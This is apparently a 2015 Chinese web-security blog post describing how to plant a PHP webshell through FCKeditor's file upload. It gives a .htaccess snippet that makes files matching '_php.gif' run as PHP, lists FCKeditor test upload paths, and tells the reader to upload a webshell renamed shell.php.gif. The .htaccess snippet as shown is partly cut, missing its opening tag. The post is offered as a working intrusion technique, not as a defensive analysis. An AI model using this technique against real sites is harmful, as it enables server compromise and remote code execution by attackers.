FCKeditor上传Getshell不要忘记htaccess - 网站安全

FCKeditor上传Getshell不要忘记htaccess - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] By LengF有些服务器开启了.htaccess文件上传，那么经常碰到fckeditor的就可以利用该文件上传一个phpshell。1.创建一个.htaccess文件，内容如下：FilesMatch _php.gifSetHandler application/x-httpd-php......

By LengF

有些服务器开启了.htaccess文件上传，那么经常碰到fckeditor的就可以利用该文件上传一个phpshell。

1.创建一个.htaccess文件，内容如下：

SetHandler application/x-httpd-php

</FilesMatch>

2.上传shell

www.2cto.com FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

这是上传地址，然后将你的webshell文件改后缀shell.php.gif

Protecting against XSS - 网站安全 - 自学php

php后台插一句话的思路 - 网站安全 - 自学php

子栏目

FCKeditor上传Getshell不要忘记htaccess - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论